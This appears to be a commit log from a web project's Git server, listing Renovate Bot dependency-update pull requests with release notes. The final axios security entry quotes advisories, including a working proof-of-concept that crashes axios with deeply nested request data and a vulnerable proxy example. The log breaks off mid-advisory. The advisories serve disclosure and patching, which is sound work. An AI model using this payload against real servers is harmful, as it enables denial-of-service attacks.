👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/36
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 01:45:24 +02:00
APF Portal Bot 3e4c580519 chore(deps): update pnpm/action-setup action to v6 (#37)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m37s
CI / scan (push) Failing after 1m37s
CI / a11y (push) Successful in 1m22s
CI / perf (push) Failing after 2m3s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [pnpm/action-setup](https://github.com/pnpm/action-setup) | action | major | `v3` -> `v6` |

---

### Release Notes

<details>
<summary>pnpm/action-setup (pnpm/action-setup)</summary>

### [`v6`](https://github.com/pnpm/action-setup/compare/v5...v6)

[Compare Source](https://github.com/pnpm/action-setup/compare/v5...v6)

### [`v5`](https://github.com/pnpm/action-setup/compare/v4...v5)

[Compare Source](https://github.com/pnpm/action-setup/compare/v4...v5)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #37
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 01:23:13 +02:00
APF Portal Bot eb87f0e6bb chore(deps): update dependency webpack-cli to v7 (#34)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m11s
CI / check (push) Failing after 1m34s
CI / perf (push) Failing after 1m30s
CI / a11y (push) Successful in 1m24s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [webpack-cli](https://github.com/webpack/webpack-cli/tree/main/packages/webpack-cli) ([source](https://github.com/webpack/webpack-cli)) | devDependencies | major | [`^5.1.4` -> `^7.0.0`](https://renovatebot.com/diffs/npm/webpack-cli/5.1.4/7.0.2) |

---

### Release Notes

<details>
<summary>webpack/webpack-cli (webpack-cli)</summary>

### [`v7.0.2`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#702)

[Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@7.0.1...webpack-cli@7.0.2)

##### Patch Changes

- Resolve configuration path for cache build dependencies. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4707](https://github.com/webpack/webpack-cli/pull/4707))

### [`v7.0.1`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#701)

[Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@7.0.0...webpack-cli@7.0.1)

##### Patch Changes

- The `file` protocol for configuration options (`--config`/`--extends`) is supported. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4702](https://github.com/webpack/webpack-cli/pull/4702))

### [`v7.0.0`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#700)

[Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@6.0.1...webpack-cli@7.0.0)

##### Major Changes

- The minimum supported version of Node.js is `20.9.0`. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

- Use dynamic import to load `webpack.config.js`, fallback to interpret only when configuration can't be load by dynamic import. Using dynamic imports allows you to take advantage of Node.js's built-in TypeScript support. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

- Removed the `--node-env` argument in favor of the `--config-node-env` argument. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

- The `version` command only output versions right now. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

- Removed deprecated API, no action required unless you use `import cli from "webpack-cli";`/`const cli = require("webpack-cli");`. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

##### Patch Changes

- Allow configuration freezing. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

- Use graceful shutdown when file system cache is enabled. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

- Performance improved. (by [@&#8203;alexander-akait](https://github.com/alexander-akait) in [#&#8203;4677](https://github.com/webpack/webpack-cli/pull/4677))

### [`v6.0.1`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#601-2024-12-20)

[Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@6.0.0...webpack-cli@6.0.1)

##### Bug Fixes

- update peer dependencies ([#&#8203;4356](https://github.com/webpack/webpack-cli/issues/4356)) ([7a7e5d9](https://github.com/webpack/webpack-cli/commit/7a7e5d9f4bd796c7d1089db228b9581e97cc897e))

### [`v6.0.0`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#600-2024-12-19)

[Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.4...webpack-cli@6.0.0)

##### BREAKING CHANGES

- the minimum required Node.js version is `18.12.0`
- removed `init`, `loader` and `plugin` commands in favor [`create-webpack-app`](https://github.com/webpack/webpack-cli/tree/main/packages/create-webpack-app)
- dropped support for `webpack-dev-server@v4`
- minimum supported webpack version is `5.82.0`
- the `--define-process-env-node-env` option was renamed to `--config-node-env`

##### Bug Fixes

- allow to require `webpack.config.js` in ESM format ([#&#8203;4346](https://github.com/webpack/webpack-cli/issues/4346)) ([5106684](https://github.com/webpack/webpack-cli/commit/51066846326bcae5f9793d3496325213342d3dd2))
- correct the minimum help output ([#&#8203;4057](https://github.com/webpack/webpack-cli/issues/4057)) ([c727c4f](https://github.com/webpack/webpack-cli/commit/c727c4f3c790797cf46a6c0bc83ba77803d3eb05))
- gracefully shutting down ([#&#8203;4145](https://github.com/webpack/webpack-cli/issues/4145)) ([90720e2](https://github.com/webpack/webpack-cli/commit/90720e26ba3b0d115ed066fb8ec3db074751163e))
- improve help output for possible values ([#&#8203;4316](https://github.com/webpack/webpack-cli/issues/4316)) ([4cd5aef](https://github.com/webpack/webpack-cli/commit/4cd5aef3b93e3d73b5175c36cf9e8f9ae4455cb2))
- no serve when dev-server is false ([#&#8203;2947](https://github.com/webpack/webpack-cli/issues/2947)) ([a93e860](https://github.com/webpack/webpack-cli/commit/a93e8603a4c2639916152a013afed04c0e8f3a35))

##### Features

- output pnpm version with `info`/`version` command ([#&#8203;3906](https://github.com/webpack/webpack-cli/issues/3906)) ([38f3c6f](https://github.com/webpack/webpack-cli/commit/38f3c6f2b99f098d2f4afd60f005e8ff5cd44435))

#### [5.1.4](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.3...webpack-cli@5.1.4) (2023-06-07)

##### Bug Fixes

- multi compiler progress output ([f659624](https://github.com/webpack/webpack-cli/commit/f6596242c74100bfd6fa391ed2071402a3bd4785))

#### [5.1.3](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.2...webpack-cli@5.1.3) (2023-06-04)

##### Bug Fixes

- regression for custom configurations ([#&#8203;3834](https://github.com/webpack/webpack-cli/issues/3834)) ([bb4f8eb](https://github.com/webpack/webpack-cli/commit/bb4f8eb4325219afae3203dc4893af2b4655d5fa))

#### [5.1.2](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.1...webpack-cli@5.1.2) (2023-06-04)

##### Bug Fixes

- improve check for custom webpack and webpack-dev-server package existance ([0931ab6](https://github.com/webpack/webpack-cli/commit/0931ab6dfd8d9f511036bcb7c1a4ea8dde1ff1cb))
- improve help for some flags ([f468614](https://github.com/webpack/webpack-cli/commit/f4686141681cfcbc74d57e69a732e176decff225))
- improved support for `.cts` and `.mts` extensions ([a77daf2](https://github.com/webpack/webpack-cli/commit/a77daf28f8a8ad96410a39d565f011f6bb14f6bb))

#### [5.1.1](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.0...webpack-cli@5.1.1) (2023-05-09)

##### Bug Fixes

- false positive warning when `--watch` used ([#&#8203;3783](https://github.com/webpack/webpack-cli/issues/3783)) ([c0436ba](https://github.com/webpack/webpack-cli/commit/c0436baca2da7a8ce9e53bbbe960dd1951fe6404))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/34
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 01:17:56 +02:00
APF Portal Bot eed37ede7f fix(deps): update dependency axios to v1.16.0 (#35)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m28s
CI / check (push) Failing after 1m47s
CI / a11y (push) Successful in 1m15s
CI / perf (push) Failing after 1m40s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`1.15.2` -> `1.16.0`](https://renovatebot.com/diffs/npm/axios/1.15.2/1.16.0) |

---

### Release Notes

<details>
<summary>axios/axios (axios)</summary>

### [`v1.16.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1160--May-2-2026)

[Compare Source](https://github.com/axios/axios/compare/v1.15.2...v1.16.0)

This release adds support for the QUERY HTTP method and a new `ECONNREFUSED` error constant, lands a substantial wave of HTTP, fetch, and XHR adapter bug fixes around redirects, aborts, headers, and timeouts, and welcomes 23 new contributors.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #35
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 00:31:58 +02:00
APF Portal Bot 12e3055772 chore(deps): update dependency typescript to v6 (#33)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m46s
CI / check (push) Failing after 2m2s
CI / perf (push) Failing after 2m2s
CI / a11y (push) Successful in 1m35s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [typescript](https://www.typescriptlang.org/) ([source](https://github.com/microsoft/TypeScript)) | devDependencies | major | [`~5.9.2` -> `~6.0.0`](https://renovatebot.com/diffs/npm/typescript/5.9.3/6.0.3) |

---

### Release Notes

<details>
<summary>microsoft/TypeScript (typescript)</summary>

### [`v6.0.3`](https://github.com/microsoft/TypeScript/releases/tag/v6.0.3): TypeScript 6.0.3

[Compare Source](https://github.com/microsoft/TypeScript/compare/v6.0.2...v6.0.3)

For release notes, check out the [release announcement blog post](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/).

- [fixed issues query for TypeScript 6.0.0 (Beta)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.0%22).
- [fixed issues query for TypeScript 6.0.1 (RC)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.1%22).
- [fixed issues query for TypeScript 6.0.2 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.2%22).
- [fixed issues query for TypeScript 6.0.3 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.3%22).

Downloads are available on:

- [npm](https://www.npmjs.com/package/typescript)

### [`v6.0.2`](https://github.com/microsoft/TypeScript/releases/tag/v6.0.2): TypeScript 6.0

[Compare Source](https://github.com/microsoft/TypeScript/compare/v5.9.3...v6.0.2)

For release notes, check out the [release announcement blog post](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/).

- [fixed issues query for TypeScript 6.0.0 (Beta)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.0%22).
- [fixed issues query for TypeScript 6.0.1 (RC)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.1%22).
- [fixed issues query for TypeScript 6.0.2 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.2%22).

Downloads are available on:

- [npm](https://www.npmjs.com/package/typescript)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #33
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-06 00:30:54 +02:00
APF Portal Bot a60fb35e89 chore(deps): update dependency jsdom to v29 (#30)
CI / commits (push) Has been skipped
CI / perf (push) Failing after 11m11s
CI / scan (push) Failing after 11m20s
CI / check (push) Failing after 11m35s
CI / a11y (push) Successful in 32s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [jsdom](https://github.com/jsdom/jsdom) | devDependencies | major | [`^27.1.0` -> `^29.0.0`](https://renovatebot.com/diffs/npm/jsdom/27.4.0/29.1.1) |

---

### Release Notes

<details>
<summary>jsdom/jsdom (jsdom)</summary>

### [`v29.1.1`](https://github.com/jsdom/jsdom/releases/tag/v29.1.1)

[Compare Source](https://github.com/jsdom/jsdom/compare/v29.1.0...v29.1.1)

- Fixed `'border-radius'` computed style serialization. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Fixed computed style computation when using `'background-origin'` and `'background-clip'` CSS properties. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Significantly optimized initial calls to `getComputedStyle()`, before the cache warms up. ([@&#8203;asamuzaK](https://github.com/asamuzaK))

### [`v29.1.0`](https://github.com/jsdom/jsdom/releases/tag/v29.1.0)

[Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.2...v29.1.0)

- Added basic support for the ratio CSS type. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Fixed `getComputedStyle()` sometimes returning outdated results after CSS was modified. ([@&#8203;asamuzaK](https://github.com/asamuzaK))

### [`v29.0.2`](https://github.com/jsdom/jsdom/releases/tag/v29.0.2)

[Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.1...v29.0.2)

- Significantly improved and sped up `getComputedStyle()`. Computed value rules are now applied across a broader set of properties, and include fixes related to inheritance, defaulting keywords, custom properties, and color-related values such as `currentcolor` and system colors. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Fixed CSS `'background`' and `'border'` shorthand parsing. ([@&#8203;asamuzaK](https://github.com/asamuzaK))

### [`v29.0.1`](https://github.com/jsdom/jsdom/releases/tag/v29.0.1)

[Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.0...v29.0.1)

- Fixed CSS parsing of `'border'`, `'background'`, and their sub-shorthands containing keywords or `var()`. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Fixed `getComputedStyle()` to return a more functional `CSSStyleDeclaration` object, including indexed access support, which regressed in v29.0.0.

### [`v29.0.0`](https://github.com/jsdom/jsdom/releases/tag/v29.0.0)

[Compare Source](https://github.com/jsdom/jsdom/compare/v28.1.0...v29.0.0)

Breaking changes:

- Node.js v22.13.0+ is now the minimum supported v22 version (was v22.12.0+).

Other changes:

- Overhauled the CSSOM implementation, replacing the [`@acemir/cssom`](https://www.npmjs.com/package/@&#8203;acemir/cssom) and [`cssstyle`](https://github.com/jsdom/cssstyle) dependencies with fresh internal implementations built on webidl2js wrappers and the [`css-tree`](https://www.npmjs.com/package/css-tree) parser. Serialization, parsing, and API behavior is improved in various ways, especially around edge cases.
- Added `CSSCounterStyleRule` and `CSSNamespaceRule` to jsdom `Window`s.
- Added `cssMediaRule.matches` and `cssSupportsRule.matches` getters.
- Added proper media query parsing in `MediaList`, using `css-tree` instead of naive comma-splitting. Invalid queries become `"not all"` per spec.
- Added `cssKeyframeRule.keyText` getter/setter validation.
- Added `cssStyleRule.selectorText` setter validation: invalid selectors are now rejected.
- Added `styleSheet.ownerNode`, `styleSheet.href`, and `styleSheet.title`.
- Added bad port blocking per the [fetch specification](https://fetch.spec.whatwg.org/#bad-port), preventing fetches to commonly-abused ports.
- Improved `Document` initialization performance by lazily initializing the CSS selector engine, avoiding ~0.5 ms of overhead per `Document`. ([@&#8203;thypon](https://github.com/thypon))
- Fixed a memory leak when stylesheets were removed from the document.
- Fixed `CSSStyleDeclaration` modifications to properly trigger custom element reactions.
- Fixed nested `@media` rule parsing.
- Fixed `CSSStyleSheet`'s "disallow modification" flag not being checked in all mutation methods.
- Fixed `XMLHttpRequest`'s `response` getter returning parsed JSON during the `LOADING` state instead of `null`.
- Fixed `getComputedStyle()` crashing in XHTML documents when stylesheets contained at-rules such as `@page` or `@font-face`.
- Fixed a potential hang in synchronous `XMLHttpRequest` caused by a race condition with the worker thread's idle timeout.

### [`v28.1.0`](https://github.com/jsdom/jsdom/releases/tag/v28.1.0)

[Compare Source](https://github.com/jsdom/jsdom/compare/v28.0.0...v28.1.0)

- Added `blob.text()`, `blob.arrayBuffer()`, and `blob.bytes()` methods.
- Improved `getComputedStyle()` to account for CSS specificity when multiple rules apply. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Improved synchronous `XMLHttpRequest` performance by using a persistent worker thread, avoiding ~400ms of setup overhead on every synchronous request after the first one.
- Improved performance of `node.getRootNode()`, `node.isConnected`, and `event.dispatchEvent()` by caching the root node of document-connected trees.
- Fixed `getComputedStyle()` to correctly handle `!important` priority. ([@&#8203;asamuzaK](https://github.com/asamuzaK))
- Fixed `document.getElementById()` to return the first element in tree order when multiple elements share the same ID.
- Fixed `<svg>` elements to no longer incorrectly proxy event handlers to the `Window`.
- Fixed `FileReader` event timing and `fileReader.result` state to more closely follow the spec.
- Fixed a potential hang when synchronous `XMLHttpRequest` encountered dispatch errors.
- Fixed compatibility with environments where Node.js's built-in `fetch()` has been used before importing jsdom, by working around undici v6/v7 incompatibilities.

### [`v28.0.0`](https://github.com/jsdom/jsdom/releases/tag/v28.0.0)

[Compare Source](https://github.com/jsdom/jsdom/compare/v27.4.0...v28.0.0)

- Overhauled resource loading customization. See [the new README](https://github.com/jsdom/jsdom/blob/2b65c6a80af2c899e32933c5e0cb842164852149/README.md#loading-subresources) for details on the new API.
- Added MIME type sniffing to `<iframe>` and `<frame>` loads.
- Regression: `WebSocket`s are no longer correctly throttled to one connection per origin. This is a result of the bug at [nodejs/undici#4743](https://github.com/nodejs/undici/issues/4743).
- Fixed decoding of the query components of `<a>` and `<area>` elements in non-UTF-8 documents.
- Fixed `XMLHttpRequest` fetches and `WebSocket` upgrade requests to be interceptable by the new customizable resource loading. (Except synchronous `XMLHttpRequest`s.)
- Fixed the referrer of a document to be set correctly when redirects are involved; it is now the initiating page, not the last hop in the redirect chain.
- Fixed correctness bugs when passing `ArrayBuffer`s or typed arrays to various APIs, where they would not correctly snapshot the data.
- Fixed `require("url").parse()` deprecation warning when using `WebSocket`s.
- Fixed `<iframe>`, `<frame>`, and `<img>` (when `canvas` is installed) to fire `load` events, not `error` events, on non-OK HTTP responses.
- Fixed many small issues in `XMLHttpRequest`.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/30
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:58:54 +02:00
APF Portal Bot 7fb250712e fix(deps): update dependency axios to v1.15.2 [security] (#32)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m47s
CI / check (push) Successful in 2m5s
CI / a11y (push) Successful in 2m4s
CI / perf (push) Successful in 3m12s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | patch | [`1.15.0` -> `1.15.2`](https://renovatebot.com/diffs/npm/axios/1.15.0/1.15.2) |

---

### Axios: unbounded recursion in toFormData causes DoS via deeply nested request data
[CVE-2026-42039](https://nvd.nist.gov/vuln/detail/CVE-2026-42039) / [GHSA-62hf-57xw-28j9](https://github.com/advisories/GHSA-62hf-57xw-28j9)

<details>
<summary>More information</summary>

#### Details
##### Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

##### Details
lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

##### PoC
```js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
```

Server-side reachability example:
```js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
  await axios.post('https://upstream/api', req.body); // req.body user-controlled
  res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
```

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

##### Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9](https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42039](https://nvd.nist.gov/vuln/detail/CVE-2026-42039)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-62hf-57xw-28j9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
[CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040) / [GHSA-xhjh-pmcv-23jw](https://github.com/advisories/GHSA-xhjh-pmcv-23jw)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

##### Summary

The `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\x00'` converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

**Severity:** Low (CVSS 3.7)
**Affected Versions:** All versions containing this charMap entry
**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`

##### CWE

- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)
- **CWE-116:** Improper Encoding or Escaping of Output

##### CVSS 3.1

**Score: 3.7 (Low)**

Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N`

| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Attacker controls input parameters remotely |
| Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact limited to HTTP request URL |
| Confidentiality | None | No confidentiality impact |
| Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser |
| Availability | None | No availability impact |

##### Vulnerable Code

**File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26

```javascript
function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}
```

##### Why the Standard Flow Is NOT Affected

```javascript
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
